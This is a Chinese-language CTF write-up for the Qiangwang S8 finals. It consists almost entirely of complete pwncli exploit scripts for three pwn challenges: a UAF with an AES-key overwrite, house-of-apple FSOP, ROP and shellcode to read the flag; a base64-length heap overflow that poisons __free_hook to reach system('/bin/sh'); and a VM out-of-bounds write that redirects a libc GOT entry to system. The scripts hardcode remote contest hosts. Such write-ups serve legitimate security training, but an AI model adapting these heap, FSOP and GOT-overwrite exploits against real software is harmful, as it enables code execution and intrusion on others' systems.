强网S8 final WP
rw部分等复现后再写吧,还是太菜了555
heap
uaf先修改aes的key
然后house of apple,ROP,写shellcode
最后orw
#!/usr/bin/env python3
from pwncli import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from ctypes import *
from base64 import *
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = '47.94.85.95 22620'
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./heap')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./heap')
cmd = '''
dir /mnt/f/Documents/CTF/glibc/glibc-2.31/libio
b *$rebase(0x17C9)
b *$rebase(0x18B9)
b *$rebase(0x1973)
b *$rebase(0x1A30)
b wgenops.c:371
c
'''
input_after_this = b'>> '
def add(idx, data):
sla(input_after_this, b'1')
sla(b'idx', str(idx))
sa(b'content', data)
def dele(idx):
sla(input_after_this, b'2')
sla(b'idx', str(idx))
def edit(idx, data):
sla(input_after_this, b'4')
sla(b'idx', str(idx))
sa(b'content', data)
def show(idx):
sla(input_after_this, b'3')
sla(b'idx', str(idx))
def encrypt(data, key):
# 确保密钥长度为128位(16字节)
assert len(key) == 16, "Key must be 128 bits (16 bytes)."
# 填充数据以确保其长度是16的倍数
data = pad(data, 16)
# 创建AES ECB模式的加密对象
cipher = AES.new(key, AES.MODE_ECB)
# 加密数据
encrypted_data = b''
for i in range(0, len(data), 16):
encrypted_data += cipher.encrypt(data[i : i + 16])
return encrypted_data
def decrypt(encrypted_data, key):
# 确保密钥长度为128位(16字节)
assert len(key) == 16, "Key must be 128 bits (16 bytes)."
# 创建AES ECB模式的解密对象
cipher = AES.new(key, AES.MODE_ECB)
# 解密数据
decrypted_data = b''
for i in range(0, len(encrypted_data), 16):
decrypted_data += cipher.decrypt(encrypted_data[i : i + 16])
# 移除填充
# decrypted_data = unpad(decrypted_data, 16)
return decrypted_data
add(0, b'A' * 0x10)
show(0)
ru(b'A' * 0x10)
code_base = u64_ex(r(6)) - 0x1BF0
set_current_code_base_and_log(code_base)
add(1, b'A' * 0x10)
dele(1)
edit(1, b'A' * 0x10)
dele(1)
dele(0)
show(0)
ru(b': ')
data = r(0x10)
log_ex(data)
edit(1, b'A' * 0x10)
dele(1)
add(2, b'\xa0')
show(2)
add(3, b'\x00')
add(2, b'\x00')
add(0, b'a' * 0x10)
key = b'\x51\x88\xc6\x47\x4b\x22\x8c\xbd\xd2\x42\xe9\x12\x5e\xbe\x1d\x53'
log_ex(f"key: {key}")
show(1)
ru(b': ')
data = r(0x10)
heap_base = u64_ex(encrypt(data, key)[:8]) - 0x200
log_heap_base_addr(heap_base)
dele(3)
edit(3, decrypt(b'\x00' * 0x10, key))
dele(3)
edit(3, p64_ex(heap_base + 0x330))
add(3, b'\x00')
add(4, decrypt(p64_ex(0) + p64_ex(0x20CD1), key)) # any
add(5, b'\x00' * 0x10)
for i in range(0x8):
add(15 - i, b'\x00')
for i in range(0x13 - 0x8):
add(6, b'\x00')
add(6, decrypt(p64_ex(0) + p64_ex(0x31), key))
edit(4, decrypt(p64_ex(0) + p64_ex(0x511), key))
dele(5)
show(5)
ru(b': ')
data = r(0x10)
libc_base = u64_ex(encrypt(data, key)[:8]) - 0x1ECBE0
set_current_libc_base_and_log(libc_base)
edit(4, decrypt(p64_ex(0) + p64_ex(0x41), key))
dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x10) * 2, key))
add(14, b'\x00')
add(0, p64_ex(0))
dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x10 + 0xA0) * 2, key))
add(14, b'\x00')
add(1, p64_ex(0))
dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x10 + 0xA0 + 0x30) * 2, key))
add(14, b'\x00')
add(2, p64_ex(0))
dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x300) * 2, key))
add(14, b'\x00')
add(3, p64_ex(0))
dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x300 + 0x30) * 2, key))
add(14, b'\x00')
add(4, p64_ex(0))
dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x300 + 0x60) * 2, key))
add(14, b'\x00')
add(5, p64_ex(0))
for i in range(0x7):
dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(15)
dele(14)
edit(14, p64_ex(libc.sym._IO_list_all - 0x18))
edit(15, p64_ex(heap_base + 0x380))
for i in range(7):
add(15, p64_ex(heap_base + 0x380))
show(0)
add(15, b'\x00')
fake_IO_FILE = heap_base + 0x10
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
payload = flat(
{
0x0: u64_ex(" sh"),
0x8: libc_base + 0x000000000002F70A, #: pop rsp; ret;
0x10: heap_base + 0x300,
0x28: 0xB81, # _IO_write_ptr
0xA0: fake_IO_FILE + 0xE8 - 0xE0, # _wide_data->_wide_vtable
0xD8: _IO_wfile_jumps, # vtable
0xE0: libc_base + 0x5B4D0, # function
0xE8: fake_IO_FILE + 0xE0 - 0x68, # _wide_data->_wide_vtable->doallocate
},
filler=b'\x00',
)
edit(0, decrypt(payload[:0x30], key))
edit(1, decrypt(payload[0xA0 : 0xA0 + 0x30], key))
edit(2, decrypt(payload[0xA0 + 0x30 : 0xA0 + 0x60], key))
CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
payload = flat([rdi, heap_base, rsi, 0x2000, rdx_rbx, 7, 0, libc.sym.mprotect, heap_base + 0x360]).ljust(0x60, b'\x00')
payload += asm(shellcraft.read(0, heap_base + 0x360, 0x1000))
payload = pad(payload, 16)
edit(3, decrypt(payload[:0x30], key))
edit(4, decrypt(payload[0x30 : 0x30 + 0x30], key))
edit(5, decrypt(payload[0x30 + 0x30 : 0x30 + 0x60], key))
launch_gdb(cmd)
sla(input_after_this, b'5')
sleep(0.5)
s(b'\x90' * 0x30 + ShellcodeMall.amd64.cat_flag)
ia()
ez_heap
base64 解码计算长度错误导致的溢出
#!/usr/bin/env python3
from pwncli import *
from base64 import b64decode, b64encode
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = '47.94.85.95 32827'
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./pwn')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')
cmd = '''
b *$rebase(0x1BA7)
b *$rebase(0x1D1D)
b *$rebase(0x1EF1)
b *$rebase(0x1FA0)
b *$rebase(0x205B)
b *$rebase(0x20FA)
set $decode = $rebase(0x5060)
c
'''
input_after_this = b'Enter your choice:'
def add_en(data):
sla(input_after_this, b'1')
sa(b'text', data)
def add_de(data):
sla(input_after_this, b'2')
sa(b'text', data)
def dele_en(idx):
sla(input_after_this, b'3')
sla(b'idx', str(idx))
def dele_de(idx):
sla(input_after_this, b'4')
sla(b'idx', str(idx))
def show_en(idx):
sla(input_after_this, b'5')
sla(b'idx', str(idx))
def show_de(idx):
sla(input_after_this, b'6')
sla(b'idx', str(idx))
add_de(b64encode(b'a' * 0x36)) # 0x36
add_de(b64encode(b'c' * 0x24))
add_de(b64encode(b'b' * 0x36))
add_en(b'a' * 0x400)
add_de(b64encode(b'b' * 0x36))
dele_en(0)
dele_de(0)
add_de(b64encode(b'\x00' * 0x39)[:-1])
dele_de(3)
dele_de(2)
dele_de(1)
add_de(b64encode(b'a' * 0x39)[:-1])
show_de(1)
ru(b'a' * 0x38)
heap_base = u64_ex(ru(b'\n', drop=True)) - 0x81
log_heap_base_addr(heap_base)
dele_de(1)
add_de(b64encode(b'\x00' * 0x28 + p64_ex(0x21) + p64_ex(heap_base + 0x320))[:-1])
add_de(b64encode(b'a' * 0x36))
add_de(b64encode(b'a' * 0x30))
show_de(3)
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x1ECBE0
set_current_libc_base_and_log(libc_base)
dele_de(2)
add_de(b64encode(p64_ex(0) + p64_ex(0x21)))
dele_de(3)
dele_de(2)
dele_de(1)
add_de(b64encode(p64_ex(0) * 6 + p64_ex(libc.sym.__free_hook))[:-1])
add_de(b64encode(b'/bin/sh\x00'))
add_de(b64encode(p64_ex(libc.sym.system)))
launch_gdb(cmd)
dele_de(2)
ia()
qvm
mov cil 等操作对index没有检查导致的越界读写
修改puts中调用的libc.got为system,puts("/bin/sh\x00")即可
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = '121.42.242.203 9999'
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./pwn')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')
cmd = '''
b *$rebase(0xED7A)
# mov
b *$rebase(0xEE19)
# push
b *$rebase(0xFBE1)
# ods
#b *$rebase(0xFA9F)
# cil
b *$rebase(0xEF41)
# inc
b *$rebase(0xC79D)
# ipf
c
set $context=$rbp-0x298
set $value=$rbp-0xB8
'''
launch_gdb(cmd)
payload = (
f'''
data binsh "/bin/sh\x00"
func:
ret
_start:
._start:
mov {0xf47ff + 0x21a02} 0
cil {- 0x50d70 + 0x28030} 4
sub 4 0
mov 0 {0xf47ff + 0x21a09}
call func
ods binsh
'''
+ "EOF"
)
ru(b'Code :')
sl(payload)
ia()